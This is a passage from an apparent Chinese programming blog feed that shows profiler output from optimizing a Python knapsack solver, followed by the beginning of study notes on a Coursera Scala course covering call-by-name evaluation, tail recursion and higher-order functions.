new_weights[new_weight] += <span class="number">1</span></div><div class="line">    <span class="number">24</span>                                             <span class="keyword">else</span>:</div><div class="line">    <span class="number">25</span>   <span class="number">11</span>.<span class="number">398</span> <span class="type">MiB</span>    <span class="number">0</span>.<span class="number">000</span> <span class="type">MiB</span>                       new_weights[new_weight] = -<span class="number">1</span></div><div class="line">    <span class="number">26</span>   <span class="number">11</span>.<span class="number">398</span> <span class="type">MiB</span>    <span class="number">0</span>.<span class="number">000</span> <span class="type">MiB</span>           last_val = -<span class="number">1</span></div><div class="line">    <span class="number">27</span>   <span class="number">11</span>.<span class="number">398</span> <span class="type">MiB</span>    <span class="number">0</span>.<span class="number">000</span> <span class="type">MiB</span>           <span class="keyword">for</span> (k, c) <span class="keyword">in</span> sorted(new_weights.items(), key=lambda x: x[<span class="number">0</span>]):</div><div class="line">    <span class="number">28</span>   <span class="number">11</span>.<span class="number">398</span> <span class="type">MiB</span>    <span class="number">0</span>.<span class="number">000</span> <span class="type">MiB</span>               <span class="keyword">if</span> c == <span class="number">0</span>:</div><div class="line">    <span class="number">29</span>   <span class="number">11</span>.<span class="number">398</span> <span class="type">MiB</span>    <span class="number">0</span>.<span class="number">000</span> <span class="type">MiB</span>                   new_val = <span class="literal">result</span>[k]</div><div class="line">    <span class="number">30</span>   <span class="number">11</span>.<span class="number">398</span> <span class="type">MiB</span>    <span class="number">0</span>.<span class="number">000</span> <span class="type">MiB</span>               <span class="keyword">elif</span> c == <span class="number">1</span>:</div><div class="line">    <span class="number">31</span>   <span class="number">11</span>.<span class="number">398</span> <span class="type">MiB</span>    <span class="number">0</span>.<span class="number">000</span> <span class="type">MiB</span>                   new_val = max(<span class="literal">result</span>[k], <span class="literal">result</span>[k-w] + v)</div><div class="line">    <span class="number">32</span>                                         <span class="keyword">else</span>:</div><div class="line">    <span class="number">33</span>   <span class="number">11</span>.<span class="number">398</span> <span class="type">MiB</span>    <span class="number">0</span>.<span class="number">000</span> <span class="type">MiB</span>                   new_val = <span class="literal">result</span>[k-w] + v</div><div class="line">    <span class="number">34</span>   <span class="number">11</span>.<span class="number">398</span> <span class="type">MiB</span>    <span class="number">0</span>.<span class="number">000</span> <span class="type">MiB</span>               <span class="keyword">if</span> new_val &gt; last_val:</div><div class="line">    <span class="number">35</span>   <span class="number">11</span>.<span class="number">398</span> <span class="type">MiB</span>    <span class="number">0</span>.<span class="number">000</span> <span class="type">MiB</span>                   new_res[k] = new_val</div><div class="line">    <span class="number">36</span>   <span class="number">11</span>.<span class="number">398</span> <span class="type">MiB</span>    <span class="number">0</span>.<span class="number">000</span> <span class="type">MiB</span>                   last_val = new_val</div><div class="line">    <span class="number">37</span>   <span class="number">11</span>.<span class="number">398</span> <span class="type">MiB</span>    <span class="number">0</span>.<span class="number">000</span> <span class="type">MiB</span>           <span class="literal">result</span> = dict(new_res)</div><div class="line">    <span class="number">38</span>                                     <span class="comment">#history.append(result)</span></div><div class="line">    <span class="number">39</span></div><div class="line">    <span class="number">40</span>   <span class="number">11</span>.<span class="number">398</span> <span class="type">MiB</span>    <span class="number">0</span>.<span class="number">000</span> <span class="type">MiB</span>       <span class="keyword">return</span> <span class="literal">result</span>[max(<span class="literal">result</span>.keys())]</div></pre></td></tr></table></figure>


<p>无论是运行速度还是内存占用都很有优势啊！（update： 发现是我乌龙了……这个Sparse Column实现并没有储存历史记录，无法回溯，所以才占用这么小……要减少子问题的数量还是得用后面的剪枝啊！） 另外我还发现cProfile之类的工具分析递归好像很困难……在Sparse Column的实现中每次对key的sort挺消耗时间，改成数组的实现还可以快0.5秒以上。一开始在初始化Hash的时候用了个内部循环<code>changed_weight = dict((k, 0) for k in result.keys())</code>，看了下profiling数据：</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div></pre></td><td class="code"><pre><div class="line"><span class="type">Line</span> <span class="comment">#      Hits         Time  Per Hit   % Time  Line Contents</span></div><div class="line">==============================================================</div><div class="line">     <span class="number">9</span>                                           @profile</div><div class="line">    <span class="number">10</span>                                           def knapsack(items, maxweight):</div><div class="line">    <span class="number">11</span>                                               <span class="comment">#history = []</span></div><div class="line">    <span class="number">12</span>         <span class="number">1</span>            <span class="number">3</span>      <span class="number">3</span>.<span class="number">0</span>      <span class="number">0</span>.<span class="number">0</span>      <span class="literal">result</span> = {}</div><div class="line">    <span class="number">13</span>         <span class="number">1</span>            <span class="number">2</span>      <span class="number">2</span>.<span class="number">0</span>      <span class="number">0</span>.<span class="number">0</span>      <span class="literal">result</span>[<span class="number">0</span>] = <span class="number">0</span></div><div class="line">    <span class="number">14</span>      <span class="number">2001</span>         <span class="number">3032</span>      <span class="number">1</span>.<span class="number">5</span>      <span class="number">0</span>.<span class="number">0</span>      <span class="keyword">for</span> i <span class="keyword">in</span> <span class="type">range</span>(len(items)):</div><div class="line">    <span class="number">15</span>      <span class="number">2000</span>         <span class="number">3375</span>      <span class="number">1</span>.<span class="number">7</span>      <span class="number">0</span>.<span class="number">0</span>          v, w = items[i]</div><div class="line">    <span class="number">16</span>      <span class="number">2000</span>        <span class="number">23585</span>     <span class="number">11</span>.<span class="number">8</span>      <span class="number">0</span>.<span class="number">1</span>          new_res = {}</div><div class="line">    <span class="number">17</span>      <span class="number">2000</span>       <span class="number">926182</span>    <span class="number">463</span>.<span class="number">1</span>      <span class="number">2</span>.<span class="number">9</span>          changed_weight = dict((k, <span class="number">0</span>) <span class="keyword">for</span> k <span class="keyword">in</span> <span class="literal">result</span>.keys())</div><div class="line">    <span class="number">18</span>      <span class="number">2000</span>       <span class="number">111575</span>     <span class="number">55</span>.<span class="number">8</span>      <span class="number">0</span>.<span class="number">3</span>          new_weights = dict(changed_weight)</div><div class="line">    <span class="number">19</span>   <span class="number">1663355</span>      <span class="number">1963616</span>      <span class="number">1</span>.<span class="number">2</span>      <span class="number">6</span>.<span class="number">1</span>          <span class="keyword">for</span> k <span class="keyword">in</span> changed_weight:</div><div class="line">    <span class="number">20</span>   <span class="number">1661355</span>      <span class="number">2033315</span>      <span class="number">1</span>.<span class="number">2</span>      <span class="number">6</span>.<span class="number">3</span>              new_weight = k + w</div><div class="line">    <span class="number">21</span>   <span class="number">1661355</span>      <span class="number">1958858</span>      <span class="number">1</span>.<span class="number">2</span>      <span class="number">6</span>.<span class="number">1</span>              <span class="keyword">if</span> new_weight &lt;= maxweight:</div><div class="line">    <span class="number">22</span>   <span class="number">1279701</span>      <span class="number">1591834</span>      <span class="number">1</span>.<span class="number">2</span>      <span class="number">5</span>.<span class="number">0</span>                  <span class="keyword">if</span> new_weight <span class="keyword">in</span> changed_weight:</div><div class="line">    <span class="number">23</span>    <span class="number">254768</span>       <span class="number">368270</span>      <span class="number">1</span>.<span class="number">4</span>      <span class="number">1</span>.<span class="number">1</span>                      new_weights[new_weight] += <span class="number">1</span></div><div class="line">    <span class="number">24</span>                                                           <span class="keyword">else</span>:</div><div class="line">    <span class="number">25</span>   <span class="number">1024933</span>      <span class="number">1316114</span>      <span class="number">1</span>.<span class="number">3</span>      <span class="number">4</span>.<span class="number">1</span>                      new_weights[new_weight] = -<span class="number">1</span></div><div class="line">    <span class="number">26</span>      <span class="number">2000</span>         <span class="number">2371</span>      <span class="number">1</span>.<span class="number">2</span>      <span class="number">0</span>.<span class="number">0</span>          last_val = -<span class="number">1</span></div><div class="line">    <span class="number">27</span>   <span class="number">2688288</span>      <span class="number">5822873</span>      <span class="number">2</span>.<span class="number">2</span>     <span class="number">18</span>.<span class="number">2</span>          <span class="keyword">for</span> (k, c) <span class="keyword">in</span> sorted(new_weights.items(), key=lambda x: x[<span class="number">0</span>]):</div><div class="line">    <span class="number">28</span>   <span class="number">2686288</span>      <span class="number">3260883</span>      <span class="number">1</span>.<span class="number">2</span>     <span class="number">10</span>.<span class="number">2</span>              <span class="keyword">if</span> c == <span class="number">0</span>:</div><div class="line">    <span class="number">29</span>   <span class="number">1406587</span>      <span class="number">1813914</span>      <span class="number">1</span>.<span class="number">3</span>      <span class="number">5</span>.<span class="number">7</span>                  new_val = <span class="literal">result</span>[k]</div><div class="line">    <span class="number">30</span>   <span class="number">1279701</span>      <span class="number">1525904</span>      <span class="number">1</span>.<span class="number">2</span>      <span class="number">4</span>.<span class="number">8</span>              <span class="keyword">elif</span> c == <span class="number">1</span>:</div><div class="line">    <span class="number">31</span>    <span class="number">254768</span>       <span class="number">455276</span>      <span class="number">1</span>.<span class="number">8</span>      <span class="number">1</span>.<span class="number">4</span>                  new_val = max(<span class="literal">result</span>[k], <span class="literal">result</span>[k-w] + v)</div><div class="line">    <span class="number">32</span>                                                       <span class="keyword">else</span>:</div><div class="line">    <span class="number">33</span>   <span class="number">1024933</span>      <span class="number">1419824</span>      <span class="number">1</span>.<span class="number">4</span>      <span class="number">4</span>.<span class="number">4</span>                  new_val = <span class="literal">result</span>[k-w] + v</div><div class="line">    <span class="number">34</span>   <span class="number">2686288</span>      <span class="number">3245556</span>      <span class="number">1</span>.<span class="number">2</span>     <span class="number">10</span>.<span class="number">1</span>              <span class="keyword">if</span> new_val &gt; last_val:</div><div class="line">    <span class="number">35</span>   <span class="number">1662811</span>      <span class="number">2142042</span>      <span class="number">1</span>.<span class="number">3</span>      <span class="number">6</span>.<span class="number">7</span>                  new_res[k] = new_val</div><div class="line">    <span class="number">36</span>   <span class="number">1662811</span>      <span class="number">1991281</span>      <span class="number">1</span>.<span class="number">2</span>      <span class="number">6</span>.<span class="number">2</span>                  last_val = new_val</div><div class="line">    <span class="number">37</span>      <span class="number">2000</span>        <span class="number">98447</span>     <span class="number">49</span>.<span class="number">2</span>      <span class="number">0</span>.<span class="number">3</span>          <span class="literal">result</span> = dict(new_res)</div><div class="line">    <span class="number">38</span>                                                   <span class="comment">#history.append(result)</span></div><div class="line">    <span class="number">39</span></div><div class="line">    <span class="number">40</span>         <span class="number">1</span>           <span class="number">63</span>     <span class="number">63</span>.<span class="number">0</span>      <span class="number">0</span>.<span class="number">0</span>      <span class="keyword">return</span> <span class="literal">result</span>[max(<span class="literal">result</span>.keys())]</div></pre></td></tr></table></figure>


<p>可以看到17行这个Hash初始化的per hit time高居榜首！我们改一下实现变成<code>changed_weight = dict.fromkeys(result.keys(), 0)</code>：</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div></pre></td><td class="code"><pre><div class="line"><span class="type">Line</span> <span class="comment">#      Hits         Time  Per Hit   % Time  Line Contents</span></div><div class="line">==============================================================</div><div class="line">     <span class="number">9</span>                                           @profile</div><div class="line">    <span class="number">10</span>                                           def knapsack(items, maxweight):</div><div class="line">    <span class="number">11</span>                                               <span class="comment">#history = []</span></div><div class="line">    <span class="number">12</span>         <span class="number">1</span>            <span class="number">5</span>      <span class="number">5</span>.<span class="number">0</span>      <span class="number">0</span>.<span class="number">0</span>      <span class="literal">result</span> = {}</div><div class="line">    <span class="number">13</span>         <span class="number">1</span>            <span class="number">2</span>      <span class="number">2</span>.<span class="number">0</span>      <span class="number">0</span>.<span class="number">0</span>      <span class="literal">result</span>[<span class="number">0</span>] = <span class="number">0</span></div><div class="line">    <span class="number">14</span>      <span class="number">2001</span>         <span class="number">3095</span>      <span class="number">1</span>.<span class="number">5</span>      <span class="number">0</span>.<span class="number">0</span>      <span class="keyword">for</span> i <span class="keyword">in</span> <span class="type">range</span>(len(items)):</div><div class="line">    <span class="number">15</span>      <span class="number">2000</span>         <span class="number">3313</span>      <span class="number">1</span>.<span class="number">7</span>      <span class="number">0</span>.<span class="number">0</span>          v, w = items[i]</div><div class="line">    <span class="number">16</span>      <span class="number">2000</span>        <span class="number">25807</span>     <span class="number">12</span>.<span class="number">9</span>      <span class="number">0</span>.<span class="number">1</span>          new_res = {}</div><div class="line">    <span class="number">17</span>      <span class="number">2000</span>       <span class="number">154480</span>     <span class="number">77</span>.<span class="number">2</span>      <span class="number">0</span>.<span class="number">5</span>          changed_weight = dict.fromkeys(<span class="literal">result</span>.keys(), <span class="number">0</span>)</div><div class="line">    <span class="number">18</span>      <span class="number">2000</span>       <span class="number">125462</span>     <span class="number">62</span>.<span class="number">7</span>      <span class="number">0</span>.<span class="number">4</span>          new_weights = dict(changed_weight)</div><div class="line">    <span class="number">19</span>   <span class="number">1663355</span>      <span class="number">1756998</span>      <span class="number">1</span>.<span class="number">1</span>      <span class="number">6</span>.<span class="number">1</span>          <span class="keyword">for</span> k <span class="keyword">in</span> changed_weight:</div><div class="line">    <span class="number">20</span>   <span class="number">1661355</span>      <span class="number">1807104</span>      <span class="number">1</span>.<span class="number">1</span>      <span class="number">6</span>.<span class="number">2</span>              new_weight = k + w</div><div class="line">    <span class="number">21</span>   <span class="number">1661355</span>      <span class="number">1739799</span>      <span class="number">1</span>.<span class="number">0</span>      <span class="number">6</span>.<span class="number">0</span>              <span class="keyword">if</span> new_weight &lt;= maxweight:</div><div class="line">    <span class="number">22</span>   <span class="number">1279701</span>      <span class="number">1444483</span>      <span class="number">1</span>.<span class="number">1</span>      <span class="number">5</span>.<span class="number">0</span>                  <span class="keyword">if</span> new_weight <span class="keyword">in</span> changed_weight:</div><div class="line">    <span class="number">23</span>    <span class="number">254768</span>       <span class="number">355288</span>      <span class="number">1</span>.<span class="number">4</span>      <span class="number">1</span>.<span class="number">2</span>                      new_weights[new_weight] += <span class="number">1</span></div><div class="line">    <span class="number">24</span>                                                           <span class="keyword">else</span>:</div><div class="line">    <span class="number">25</span>   <span class="number">1024933</span>      <span class="number">1188602</span>      <span class="number">1</span>.<span class="number">2</span>      <span class="number">4</span>.<span class="number">1</span>                      new_weights[new_weight] = -<span class="number">1</span></div><div class="line">    <span class="number">26</span>      <span class="number">2000</span>         <span class="number">2112</span>      <span class="number">1</span>.<span class="number">1</span>      <span class="number">0</span>.<span class="number">0</span>          last_val = -<span class="number">1</span></div><div class="line">    <span class="number">27</span>   <span class="number">2688288</span>      <span class="number">5982674</span>      <span class="number">2</span>.<span class="number">2</span>     <span class="number">20</span>.<span class="number">6</span>          <span class="keyword">for</span> (k, c) <span class="keyword">in</span> sorted(new_weights.items(), key=lambda x: x[<span class="number">0</span>]):</div><div class="line">    <span class="number">28</span>   <span class="number">2686288</span>      <span class="number">2859058</span>      <span class="number">1</span>.<span class="number">1</span>      <span class="number">9</span>.<span class="number">9</span>              <span class="keyword">if</span> c == <span class="number">0</span>:</div><div class="line">    <span class="number">29</span>   <span class="number">1406587</span>      <span class="number">1687684</span>      <span class="number">1</span>.<span class="number">2</span>      <span class="number">5</span>.<span class="number">8</span>                  new_val = <span class="literal">result</span>[k]</div><div class="line">    <span class="number">30</span>   <span class="number">1279701</span>      <span class="number">1332986</span>      <span class="number">1</span>.<span class="number">0</span>      <span class="number">4</span>.<span class="number">6</span>              <span class="keyword">elif</span> c == <span class="number">1</span>:</div><div class="line">    <span class="number">31</span>    <span class="number">254768</span>       <span class="number">504591</span>      <span class="number">2</span>.<span class="number">0</span>      <span class="number">1</span>.<span class="number">7</span>                  new_val = max(<span class="literal">result</span>[k], <span class="literal">result</span>[k-w] + v)</div><div class="line">    <span class="number">32</span>                                                       <span class="keyword">else</span>:</div><div class="line">    <span class="number">33</span>   <span class="number">1024933</span>      <span class="number">1354702</span>      <span class="number">1</span>.<span class="number">3</span>      <span class="number">4</span>.<span class="number">7</span>                  new_val = <span class="literal">result</span>[k-w] + v</div><div class="line">    <span class="number">34</span>   <span class="number">2686288</span>      <span class="number">2870422</span>      <span class="number">1</span>.<span class="number">1</span>      <span class="number">9</span>.<span class="number">9</span>              <span class="keyword">if</span> new_val &gt; last_val:</div><div class="line">    <span class="number">35</span>   <span class="number">1662811</span>      <span class="number">1957315</span>      <span class="number">1</span>.<span class="number">2</span>      <span class="number">6</span>.<span class="number">7</span>                  new_res[k] = new_val</div><div class="line">    <span class="number">36</span>   <span class="number">1662811</span>      <span class="number">1739647</span>      <span class="number">1</span>.<span class="number">0</span>      <span class="number">6</span>.<span class="number">0</span>                  last_val = new_val</div><div class="line">    <span class="number">37</span>      <span class="number">2000</span>       <span class="number">124322</span>     <span class="number">62</span>.<span class="number">2</span>      <span class="number">0</span>.<span class="number">4</span>          <span class="literal">result</span> = dict(new_res)</div><div class="line">    <span class="number">38</span>                                                   <span class="comment">#history.append(result)</span></div><div class="line">    <span class="number">39</span>         <span class="number">1</span>           <span class="number">63</span>     <span class="number">63</span>.<span class="number">0</span>      <span class="number">0</span>.<span class="number">0</span>      <span class="keyword">return</span> <span class="literal">result</span>[max(<span class="literal">result</span>.keys())]</div></pre></td></tr></table></figure>


<p>效果相当明显啊！从400多降到了77微秒！</p>
<p>另外Python里也可以追踪object的数量，做引用分析之类，鉴于这只是个小脚本……就随便看下效果吧：</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div></pre></td><td class="code"><pre><div class="line">(<span class="type">Pdb</span>) <span class="keyword">import</span> objgraph</div><div class="line">(<span class="type">Pdb</span>) objgraph.show_growth()</div><div class="line">list                           <span class="number">2195</span>     +<span class="number">2195</span></div><div class="line">function                       <span class="number">1242</span>     +<span class="number">1242</span></div><div class="line">wrapper_descriptor             <span class="number">1046</span>     +<span class="number">1046</span></div><div class="line">builtin_function_or_method      <span class="number">685</span>      +<span class="number">685</span></div><div class="line">method_descriptor               <span class="number">537</span>      +<span class="number">537</span></div><div class="line">dict                            <span class="number">470</span>      +<span class="number">470</span></div><div class="line">weakref                         <span class="number">428</span>      +<span class="number">428</span></div><div class="line"><span class="keyword">tuple</span>                           <span class="number">396</span>      +<span class="number">396</span></div><div class="line">member_descriptor               <span class="number">193</span>      +<span class="number">193</span></div><div class="line">getset_descriptor               <span class="number">183</span>      +<span class="number">183</span></div><div class="line">(<span class="type">Pdb</span>) objgraph.show_backrefs([<span class="literal">result</span>], filename=<span class="string">"/Users/Bytes/backrefs.png"</span>)</div></pre></td></tr></table></figure>


<p>Profiling工具还是相当丰富的嘛！不知道虚拟机，GC什么的能不能像JVM那样细致观察调优……</p>
<p>性能优化工作到这里这还没结束。继续尝试了下剪枝，发现这个数据sample还是效果挺明显的！首先用 <code>Value / Weight</code> 对所有Item进行排序，然后在运算过程中看一下剩下的背包空间再去乘这个比例还会不会有1以上的总Value提升。如果没有的话那之后的所有Item都是小于这个单位重量的价值的，就没有必要继续了。只需要加一个sort和两行判断：</p>
<figure class="highlight Python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">generate_items</span><span class="params">(filename)</span>:</span></div><div class="line">    <span class="keyword">with</span> open(filename) <span class="keyword">as</span> f:</div><div class="line">        total_weight, total_item = [int(x) <span class="keyword">for</span> x <span class="keyword">in</span> f.readline().strip().split()]</div><div class="line">        items = []</div><div class="line">        <span class="keyword">for</span> line <span class="keyword">in</span> f:</div><div class="line">            items.append([int(x) <span class="keyword">for</span> x <span class="keyword">in</span> line.strip().split()])</div><div class="line">        <span class="comment"># Sort the items by value / weight</span></div><div class="line">        sorted_items = sorted(items, key=<span class="keyword">lambda</span> x: x[<span class="number">0</span>] / x[<span class="number">1</span>], reverse=<span class="keyword">True</span>)</div><div class="line">    <span class="keyword">return</span> total_weight, sorted_items</div></pre></td></tr></table></figure>


<p>剪枝：</p>
<figure class="highlight Python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line">...</div><div class="line">curr_max_weight = max(result.keys())</div><div class="line"><span class="keyword">if</span> (maxweight - curr_max_weight) * v / w &lt; <span class="number">1</span>: <span class="keyword">break</span></div><div class="line">...</div></pre></td></tr></table></figure>


<p>这样搞完之后，只需要0.4秒就跑完了！性能提升275x！当然有这么大的效果也是因为数据比较特别，如果所有物品的这个比率都比较接近，加这些判断就反而会拖累运行速度了……所以要具体案例具体分析。</p>
<p>恩，总结一下，性能优化很有趣，上课做作业有人讨论问题的感觉真好哈哈！</p>
]]></content>
    
    
      <category term="Python" scheme="http://zijie0.github.io/tags/Python/"/>
    
      <category term="Algorithms" scheme="http://zijie0.github.io/tags/Algorithms/"/>
    
      <category term="Performance" scheme="http://zijie0.github.io/tags/Performance/"/>
    
      <category term="Coursera" scheme="http://zijie0.github.io/tags/Coursera/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[Learning Scala]]></title>
    <link href="http://zijie0.github.io/2014/06/13/Learning-Scala/"/>
    <id>http://zijie0.github.io/2014/06/13/Learning-Scala/</id>
    <published>2014-06-13T02:09:24.000Z</published>
    <updated>2015-08-21T07:34:37.000Z</updated>
    <content type="html"><![CDATA[<h2 id="寒暄">寒暄</h2>
<p>昨天刚完成了Coursera上Scala课程的最后一周作业，十分激动兴奋！这门课由Scala的作者Martin Odersky亲自教授，展示了不少Scala尤其是应用函数式编程的最佳实践。学完有个最大的感受就是这门语言真的是非常复杂灵活，不知道跟C++相比如何（完全没学过C++）。每次做作业都会觉得可以实现的方式太多了（如果没有给出框架的话……），各种语法糖也是令人眼花缭乱，比起Perl，Ruby来真是有过之而无不及啊！如果光从教授函数式编程的方面来看，这门课跟Dan Grossman的<a href="https://www.coursera.org/course/proglang" target="_blank" rel="external">Programming Language</a>还是有点距离的，后者的讲解真是系统详尽，娓娓道来，让人回味无穷啊！</p>
<p>Scala这门课的讲课内容不多，很多作业练习据作者说是借鉴了神书<a href="http://mitpress.mit.edu/sicp/full-text/book/book.html" target="_blank" rel="external">SICP</a>的，感觉的确还挺有趣的！为了加深理解，巩固记忆，就在这里略微总结一下知识点把！</p>
<h2 id="正文">正文</h2>
<h3 id="环境准备">环境准备</h3>
<p>第一周先介绍了Scala环境的安装准备，整个课程基本都是用sbt（类似maven）来构建项目，自动提交作业的，所以也没了解过不用sbt要怎么搞……sbt的具体介绍可以看<a href="https://github.com/CSUG/real_world_scala/blob/master/02_sbt.markdown" target="_blank" rel="external">这里</a>。</p>
<p>IDE的话老师推荐的是Eclipse，不过出于对IntelliJ的疯狂热爱，我还是选了IntelliJ + Scala plugin，跟老师视频演示对比了下感觉成熟稳定性暂时还不及Eclipse，经常有些诡异的小问题，比如在worksheet里加package名限定的话evaluate时候输出直接是空白的……还有很多地方提示语法有问题，但是编译运行都可以通过……感觉Eclipse的Scala插件应该是亲生的，会比较靠谱些。</p>
<h3 id="REPL">REPL</h3>
<p>貌似现代语言没个REPL环境都不好意思出来混啊，Scala里也自带了REPL，直接敲Scala回车即可。不过我基本没怎么用过它，因为Scala里有更加牛逼的worksheet，也就是Swift里面的playground哈哈！另外有个IDE叫LightTable也附带了这个功能，在使用Clojure时表现良好，值得推荐！有了worksheet，实时编写实时显示结果，调试代码的确轻松愉快很多啊！</p>
<h3 id="Evaluation_Rules">Evaluation Rules</h3>
<p>Scala里默认用的是Call by value，另外一种是Call by name，有点像Haskell里的lazy evaluation，不知道怎么具体翻译，就给个例子吧：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">def</span> first(x: Int, y: Int) = x</div></pre></td></tr></table></figure>


<p>一个简单的函数，直接返回第一个参数。值得注意的是Scala里的变量类型是放在后面的，跟Go和Swift一样哈哈。然后我们调用它：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">first(<span class="number">1</span>, loop)</div></pre></td></tr></table></figure>


<p>这里<code>loop</code>是个无限循环，如果是默认的Call by value，Scala会先把每一个参数的value算出来再执行函数后面的代码逻辑，所以哪怕函数并没有用到第二个参数，这个调用还是会进入死循环。不过Scala的灵活牛逼之处立马就开始展现了，我们可以改写这个函数成：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">def</span> first(x: Int, y: =&gt; Int) = x</div></pre></td></tr></table></figure>


<p>加了一个<code>=&gt;</code>符号，这个参数立刻就成了Call by name，这样只有在用到它的时候才会去evaluate，哪怕是个无限循环也照样可以跑啦！这个技巧在之后讲到Streams时还会用到。</p>
<h3 id="递归与尾递归">递归与尾递归</h3>
<p>这个大家应该都知道吧，用递归的确能写出一些很漂亮的代码来……大多数例子都是阶乘，Fib函数之类，课程中用了个牛顿法算开方的：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">def</span> sqrt(x: Double) = {</div><div class="line">  <span class="keyword">def</span> sqrtIter(guess: Double): Double =</div><div class="line">    <span class="keyword">if</span> (isGoodEnough(guess)) guess</div><div class="line">    <span class="keyword">else</span> sqrtIter(improve(guess))</div><div class="line"> </div><div class="line">  <span class="keyword">def</span> isGoodEnough(guess: Double): Boolean =</div><div class="line">    math.abs(guess * guess - x) / x &lt; <span class="number">0.001</span></div><div class="line"> </div><div class="line">  <span class="keyword">def</span> improve(guess: Double): Double =</div><div class="line">    (guess + x / guess) / <span class="number">2</span></div><div class="line">  sqrtIter(<span class="number">1.0</span>)</div><div class="line">}</div></pre></td></tr></table></figure>


<p>很直观吧！不过递归如果层数过深可能导致stack overflow的问题，所以就有了尾递归优化，比如这个例子：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">def</span> gcd(a: Int, b: Int): Int =</div><div class="line">  <span class="keyword">if</span> (b == <span class="number">0</span>) a <span class="keyword">else</span> gcd(b, a % b)</div></pre></td></tr></table></figure>


<p>这里进入if判断后如果条件不成立，就直接转到了函数本身的调用<code>gcd(b, a % b)</code>，相当于变成了一个等价的调用而不需要在stack上保留其它变量的信息，这样就可以重用这个stack了。但另一种常见的递归形式如下：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">def</span> factorial(n: Int): Int =</div><div class="line">  <span class="keyword">if</span> (n == <span class="number">0</span>) <span class="number">1</span> <span class="keyword">else</span> n * factorial(n - <span class="number">1</span>)</div></pre></td></tr></table></figure>


<p>假设调用个<code>factorial(4)</code>，它需要一层一层展开直到<code>4*(3*(2*(1*factorial(0))) -&gt; 4*(3*(2*(1*1)))</code>，每一层stack都要储存那个n的值等到下一层的函数返回后再做具体计算，所以就不能重用stack了！所以我们可以尽量对需要做层数很深的递归的函数进行优化改写成尾递归或者直接改成循环来做。</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">def</span> fact(n: Int): Int = {</div><div class="line">  <span class="keyword">def</span> loop(acc: Int, n: Int): Int = {</div><div class="line">    <span class="keyword">if</span> (n == <span class="number">0</span>) acc</div><div class="line">    <span class="keyword">else</span> loop(acc * n, n - <span class="number">1</span>)</div><div class="line">  }</div><div class="line">  loop(<span class="number">1</span>, n)</div><div class="line">}</div></pre></td></tr></table></figure>


<p>Like this!用一个acc来存储中间结果并传到下一层去，算是个常用方法吧。另外Scala中还可以用<code>@tailrec</code>来指定函数必须为尾递归，否则会在编译时报错。</p>
<h3 id="High_order_functions">High order functions</h3>
<p>这应该是FP里最著名的概念了吧。大致就是可以在一个函数里返回一个函数，也可以把函数作为参数传入一个函数……看看代码比较直观：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">def</span> sum_tr(f: Int =&gt; Int, a: Int, b: Int): Int = {</div><div class="line">  <span class="keyword">def</span> loop(a: Int, acc: Int): Int = {</div><div class="line">    <span class="keyword">if</span> (a &gt; b) acc</div><div class="line">    <span class="keyword">else</span> loop(a + <span class="number">1</span>, acc + f(a))</div><div class="line">  }</div><div class="line">  loop(a, <span class="number">0</span>)</div><div class="line">}</div></pre></td></tr></table></figure>


